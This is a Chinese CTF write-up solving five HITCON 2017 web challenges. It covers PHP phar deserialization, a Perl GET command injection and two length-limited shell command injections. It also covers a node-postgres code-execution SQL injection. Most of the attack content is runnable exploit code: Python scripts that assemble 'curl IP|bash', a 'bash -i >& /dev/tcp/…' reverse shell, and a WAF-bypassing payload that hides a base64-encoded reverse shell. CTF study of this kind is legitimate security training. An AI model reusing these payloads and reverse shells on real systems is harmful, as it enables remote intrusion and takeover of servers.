1.baby^h-master-php-2017
-
0x01题目描述
打开http://117.50.3.97:8005得到一段php代码,又回到我们最爱的php代码审计:
</pre> <?php $FLAG = create_function("", 'die(`/read_flag`);'); $SECRET = `/read_secret`; $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($SANDBOX); @chdir($SANDBOX); if (!isset($_COOKIE["session-data"])) { $data = serialize(new User($SANDBOX)); $hmac = hash_hmac("sha1", $data, $SECRET); setcookie("session-data", sprintf("%s-----%s", $data, $hmac)); } class User { public $avatar; function __construct($path) { $this->avatar = $path; } } class Admin extends User { function __destruct() { $random = bin2hex(openssl_random_pseudo_bytes(32)); eval("function my_function_$random() {" . " global \$FLAG; \$FLAG();" . "}"); $_GET["lucky"](); } } function check_session() { global $SECRET; $data = $_COOKIE["session-data"]; list($data, $hmac) = explode("-----", $data, 2); if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) { die("Bye"); } if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) { die("Bye Bye"); } $data = unserialize($data); if (!isset($data->avatar)) { die("Bye Bye Bye"); } return $data->avatar; } function upload($path) { $data = file_get_contents($_GET["url"] . "/avatar.gif"); if (substr($data, 0, 6) !== "GIF89a") { die("Fuck off"); } file_put_contents($path . "/avatar.gif", $data); die("Upload OK"); } function show($path) { if (!file_exists($path . "/avatar.gif")) { $path = "/var/www/html"; } header("Content-Type: image/gif"); die(file_get_contents($path . "/avatar.gif")); } $mode = $_GET["m"]; if ($mode == "upload") { upload(check_session()); } else if ($mode == "show") { show(check_session()); } else { highlight_file(__FILE__); }
代码思路大概如此:
1.m=upload进入上传模块,会先运行check_session()这个函数第42行$data=unserialize($data)
,有个反序列化,反序列化对象时会自动调用 __destruct(),结合第21行的Admin类,可知只要我们构造出Admin的序列化对象并将其赋值给$data,那么就可以拿到flag。
2.跟踪第五十行upload函数,发现传入可控变量url,传入url=http://ip,便会自动将http://ip/avatar.gif写入到$SANDBOX这个工作目录下。
3.现在我们只需要改变$data的值就可以了,根据代码第32行$data = $_COOKIE["session-data"]
和第51行 $data = file_get_contents($_GET["url"] . "/avatar.gif");
两种方式去改变$data的值,第一种直接改变cookie的"session-data",
但由于 check_session()会用hash_hmac进行消息认证码的比较,所以第一种方法失败;
第二种方法涉及到一个知识点: Phar协议会将metadata(元数据) 自动序列化,如:我们可构造如下php代码
<?php error_reporting(0); class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = '<?php ?>'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); ?>
可看到admin已经被序列化了。
-
0x02payload构造
将avatar.gif放在你vps上,提交http://117.50.3.97:8005/?m=upload&url=http://ip即可成功将avatar上传到$SANDBOX目录下,但读取flag的是
create_function()函数,这个函数会创造一个匿名函数,所以我们必须得将这个匿名函数名找到,将之传给lucky参数,这又涉及到一个知识点:
根据php源码:https://github.com/php/php-src/blob/d56a534acc52b0bb7d61ac7c3386ab96e8ca4a97/Zend/zend_builtin_functions.c#L1914
匿名函数会被设置为\x00lambda_%d
,这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。
fork.py代码如下:
# coding: UTF-8 # Author: [email protected] # import requests import socket import time from multiprocessing.dummy import Pool as ThreadPool try: requests.packages.urllib3.disable_warnings() except: pass def run(i): while 1: HOST = '117.50.3.97' PORT = 8005 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall( 'GET / HTTP/1.1\nHost: 117.50.3.97\nConnection: Keep-Alive\n\n') # s.close() print 'ok' time.sleep(0.5) i = 8 pool = ThreadPool(i) result = pool.map_async(run, range(i)).get(0xffff)
通过fork.py将%d刷新为1后,我们便可通过
http://117.50.3.97:8005/?m=upload&url=phar:///var/www/data/42d40d363fa3ab252e59e4bb0b2b11b6&lucky=%00lambda_1
得到flag。
2.ssrfme
-
0x01题目分析
这道题考的是一个GET的命令执行漏洞,GET在底层调用的时perl的open函数,open函数可以执行命令
成功执行id命令,并且还支持file协议,在/usr/share/perl5/LWP.pm中:
但是file存在一个前提,便是文件必须存在,恰好源码中有写文件的操作,所以我们思路便出来了:
1.通过filename参数创建一个文件名为可执行命令的文件。
2.通过url参数去访问这个文件即可成功执行命令。
3.此时$data中便是flag,根据源码,会将$data写入$filename文件。
-
0x02payload构造
http://117.50.3.97:8004/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag| http://117.50.3.97:8004/?url=file:bash%20-c%20/readflag|&filename=flag http://117.50.3.97:8004/sandbox/42d40d363fa3ab252e59e4bb0b2b11b6/flag
3.babyfirst-revenge
-
0x01题目描述
通过exec函数我们可以执行由cmd参数接收的命令,比如:cmd=whoami,但是这里有一个限制:cmd参数的长度必须要小于等于5,这样我们就不能执行ls -t>g
这样的命令,并且exec是没有回显的,所以我们也看不到命令执行的结果,这里的思路只有只有通过重定向符">"写入文件中,进而执行命令。但由于长度的限制,我们可执行的命令少之又少。不过查阅资料发现,linux下,可以通过将命令写入文件,并用"\"来拼接命令,如:
这样我们便在" _ " 这个文件中生成ls -t>g 这个命令,让我们看一看" _ " 中的内容:
虽然,里面不完全是shell指令,但这并不妨碍我们执行正确的指令 ls -t>g:
成功执行ls -t>g。并且ls -t的作用就是按照时间先后顺序将内容写进文件,这样我们就不用费劲的去构造payload。
- 0x02 payload 构造
既然可以成功的将内容写进文件,那么我们便可以反弹一个bash shell(也可以用其他的方法),在你的vps上放上(要有web应用如apache等):
bash -i >& /dev/tcp/118.89.48.29/999 0>&1
并命名为index.html。之后我们便可以通过脚本:
</pre> # written by python3.5 # -*- coding:utf-8 -*- import requests import time from urllib.parse import quote s = requests.Session() url = "http://117.50.3.97:8001" data = [ # 产生 ls -t>g ">ls\\", "ls>_", ">\ \\", ">-t\\", ">\>g", "ls>>_", # 产生 curl 118.89.48.29|bash ip为10进制表示 ">sh", ">ba\\", ">\|\\", ">09\\", ">65\\", ">55\\", ">85\\", ">19\\", ">\ \\", ">rl\\", ">cu\\", # 执行命令 "sh _", "sh g" ] req = s.get(url + "?reset=1") for i in data: assert len(i) <= 5 req = s.get(url + "?cmd=" + quote(i)) print(i) time.sleep(0.5) <pre>
成功反弹shell:
-
0x03这道题面临的小坑
1.在生成文件时不能有“ . "作为文件的开头,因为" . "在linux中是隐藏文件,假如生成了.4\这个文件 那么 ls -t>g 是不会将.4\写进g文件中。
2.在生成文件时,ip地址可能会有重复的文件,也会导致文件写入错误,如你的ip是118.89.48.29,假如同时生成两个" 8.\ "文件那么只有一个存在。
3.在curl ip时最好换成十进制的ip,因为如我的域名:curl www.youncyb.cn|bash,将不会执行index.html文件,原因不太清除,反正会报一个"|"语法错误。
4.虚拟机上测试ls排序和vps上测试排序(以vps为准)是不一样的,具体原因不明。
4.babyfirst-revenge-v2
-
0x01题目描述
此题是上一题的进化版,限制cmd的长度为4,这样我们同构上面的办法写ls -t>g是行不通的,因为ls>>_已经超过了4位,所以得另寻他法,查阅资料发现
linux下*可以执行命令:
成功执行echo hello,这样我们便可以试着构造ls -t>g这样的命令,如:
这里注意到,我们为什么不生成ls -t 而要生成ls -th呢,因为:dir命令是按照字母表顺序将文件,如上图所示,我生成了t-文件,那么t排在s前面,导致最后写入文件v中的便是" g> sl t-" 那么通过rev命令反过来:"-t ls >g" 这样便不是ls -t>g 命令。最后可以看到,我们成功的将ls -th>g 写入了文件x。后面的步骤就是babyfirst-revenge一样的操作了。
-
0x02 payload构造
# written by python3.5 # -*- coding:utf-8 -*- import requests from time import sleep from urllib.parse import quote payload = [ # generate "g> ht- sl" to file "v" '>dir', '>sl', '>g\>', '>ht-', '*>v', # reverse file "v" to file "x", content "ls -th >g" '>rev', '*v>x', # generate "curl 118.89.48.29|bash;" ">sh", ">ba\\", ">\|\\", ">09\\", ">65\\", ">55\\", ">85\\", ">19\\", ">\ \\", ">rl\\", ">cu\\", # got shell 'sh x', 'sh g', ] r = requests.get('http://117.50.3.97:8002/?reset=1') for i in payload: assert len(i) <= 4 r = requests.get('http://117.50.3.97:8002/?cmd=' + quote(i)) print(i) sleep(0.1)
5.sql-so-hard
-
0x01题目描述
</pre> #!/usr/bin/node /** * @HITCON CTF 2017 * @Author Orange Tsai */ const qs = require("qs"); const fs = require("fs"); const pg = require("pg"); const mysql = require("mysql"); const crypto = require("crypto"); const express = require("express"); const pool = mysql.createPool({ connectionLimit: 100, host: "localhost", user: "ban", password: "ban", database: "bandb", }); const client = new pg.Client({ host: "localhost", user: "userdb", password: "userdb", database: "userdb", }); client.connect(); const KEYWORDS = [ "select", "union", "and", "or", "\\", "/", "*", " " ] function waf(string) { for (var i in KEYWORDS) { var key = KEYWORDS[i]; if (string.toLowerCase().indexOf(key) !== -1) { return true; } } return false; } const app = express(); app.use((req, res, next) => { var data = ""; req.on("data", (chunk) => { data += chunk}) req.on("end", () =>{ req.body = qs.parse(data); next(); }) }) app.all("/*", (req, res, next) => { if ("show_source" in req.query) { return res.end(fs.readFileSync(__filename)); } if (req.path == "/") { return next(); } var ip = req.connection.remoteAddress; var payload = ""; for (var k in req.query) { if (waf(req.query[k])) { payload = req.query[k]; break; } } for (var k in req.body) { if (waf(req.body[k])) { payload = req.body[k]; break; } } if (payload.length > 0) { var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`; } else { var sql = `SELECT ?,?,?`; } return pool.query(sql, [ip, payload, payload], (err, rows) => { var sql = `SELECT * FROM blacklists WHERE ip=?`; return pool.query(sql, [ip], (err,rows) => { if ( rows.length == 0) { return next(); } else { return res.end("Shame on you"); } }); }); }); app.get("/", (req, res) => { var sql = `SELECT * FROM blacklists GROUP BY ip`; return pool.query(sql, [], (err,rows) => { res.header("Content-Type", "text/html"); var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n"; for(var r in rows) { html += `${parseInt(r)+1}. ${rows[r].ip}\n`; } return res.end(html); }); }); app.post("/reg", (req, res) => { var username = req.body.username; var password = req.body.password; if (!username || !password || username.length < 4 || password.length < 4) { return res.end("Bye"); } password = crypto.createHash("md5").update(password).digest("hex"); var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`; return client.query(sql.split(";")[0], (err, rows) => { if (rows && rows.rowCount == 1) { return res.end("Reg OK"); } else { return res.end("User taken"); } }); }); app.listen(31337, () => { console.log("Listen OK"); }); <pre>
(这个题i春秋的已经烂了,我给他们客服反应过好久了,到现在还没修,所以只好自己搭一个环境,文中所有参考资料会在最后放出) 拿到源码,发现是个node.js写的后台,大概有这些功能: 1.all是个waf,会对一些敏感字符防御,将你的ip加入黑名单中。 2.get,也就是我们打开网页时进行的操作,会查询你的ip是否在黑名单中,然后输出一些限制信息。 3.post,这是操作会将我们的username和password插入数据库中。 4.连接了两个数据库,第一个msyql,第二个postgresql,黑名单是存储在mysql中,username和password是存储在postgresql里。 暂时看起来,好像就只有post插入postgresql可以搞点事情,查阅资料发现:node.js和postgresql有一个命令执行漏洞,可以通过这个漏洞拿到webshell。 这里给上p牛的博客分析:https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html 有了这个基础后我们再来看,这道题: 1.命令执行会有" 空格 * / \" 等符号,这些符号在waf中会进行限制,必须得绕过。 2.insert没有数据返回,不能像select那样查看数据。 对于这两个问题,在查阅资料后发现: 1.mysql的insert操作是有长度限制的。 2.在postgresql中,insert语句可以有retruning参数,可以返回一个结果:
-
0x02payload构造
# written by python3.5 # -*- coding:utf-8 -*- import requests payload = """','')/*{}*/returning 1 AS "\\'/*", 1 AS "\\'*/+(p=`child_process`)/*",2 AS "\\'*/+(b=`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xM`+/*",3 AS "\\'*/`TguODkuNDguMjkvOTk5IDA+JjE=|base64 -d|bash`)/*",4 AS "\\'*/+console.log(process.mainModule.require(p).exec(b))]=1//"--""".format( ' ' * 1024 * 1024 * 16) data = { 'username': str(10242 * 10) + payload, 'password': 'youncyb' } url = "http://192.168.239.128:1234/reg" # print(data) req = requests.post(url, data=data) print(req.text)
即可成功反弹shell:
Comments NOTHING